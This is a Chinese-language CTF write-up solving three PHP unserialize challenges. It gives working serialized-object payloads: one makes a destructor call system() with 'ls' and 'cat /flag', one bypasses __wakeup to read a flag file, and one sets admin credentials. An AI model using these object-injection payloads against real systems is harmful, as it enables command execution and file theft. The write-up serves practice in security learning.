1.1z_unserialize
获取题目:
这段 PHP 代码定义了一个名为 lyh
的类,并包含了一个反序列化操作和一个文件高亮显示操作。
-
定义
lyh
类:$url
是一个公共属性,其值为'NSSCTF.com'
。$lt
和$lly
也是公共属性,但没有初始值。
-
析构函数
__destruct()
:- 该函数从
$this->lt
获取一个值,并将其赋值给$a
。 - 然后,它尝试调用
$a
作为函数,并传递$this->lly
作为参数。 - 这意味着,如果外部代码为
lyh
类的实例设置了$lt
和$lly
属性,并且$lt
是一个有效的函数名或可调用的对象,那么当对象被销毁时,这个函数会被执行。
- 该函数从
-
反序列化操作
unserialize($_POST['nss'])
:- 这行代码尝试从 POST 请求的
nss
参数中反序列化数据。 - 反序列化是将已存储的表示形式的变量内容转换回 PHP 的值或对象的过程。
- 这行代码尝试从 POST 请求的
-
文件高亮显示
highlight_file(__FILE__);
:- 这行代码将当前文件的源代码以高亮的形式显示出来。
__FILE__
是一个魔术常量,表示当前文件的完整路径和文件名。
传参把$a变成system();$this->lly变成ls或者cat就是一个简单的命令注入
构造代码:
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt="system";
public $lly="ls";
}
$demo = new lyh();
echo serialize($demo);
运行
得出代码如下:
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
payload:nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
改为cat /flag
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
2.ez_ez_unserialize
这段 PHP 代码定义了一个名为 X
的类,并包含一个基于 $_REQUEST
的条件判断,用于反序列化用户输入的数据。代码的主要功能如下:
-
类定义:
X
类具有一个公共属性$x
和三个方法:构造函数__construct()
,__wakeup()
和析构函数__destruct()
.public $x = __FILE__;
:类的公共属性$x
被初始化为当前文件的路径。function __construct($x)
:这是类的构造函数,接受一个参数$x
,并将其赋值给属性$x
。function __wakeup()
:这是一个魔术方法,当对象被反序列化时自动调用。这个方法检查$x
属性的值是否不等于当前文件的路径,如果不等,则将其设置为当前文件路径。function __destruct()
:这是析构函数,当对象不再被引用时自动调用。它使用highlight_file()
函数高亮并输出$x
属性所指向的文件的内容。注释中提到“flag is in fllllllag.php”,暗示可能存在一个名为fllllllag.php
的文件,其中可能包含名为 "flag" 的信息或密钥。
-
条件判断:
if (isset($_REQUEST['x']))
检查$_REQUEST
超全局数组是否包含键'x'
。- 如果存在,使用
@unserialize($_REQUEST['x'])
对用户输入的数据进行反序列化。@
符号用于抑制可能出现的错误消息。 - 如果不存在,使用
highlight_file(__FILE__)
高亮并输出当前文件的内容。
- 如果存在,使用
需要绕过函数weak_up
在url栏里输入?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
3.ez_unserialize
打开开发者工具:
通过之前学习的robots协议解出“什么东西呢”
输入disallow得到题目
GET参数为p
输入:
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}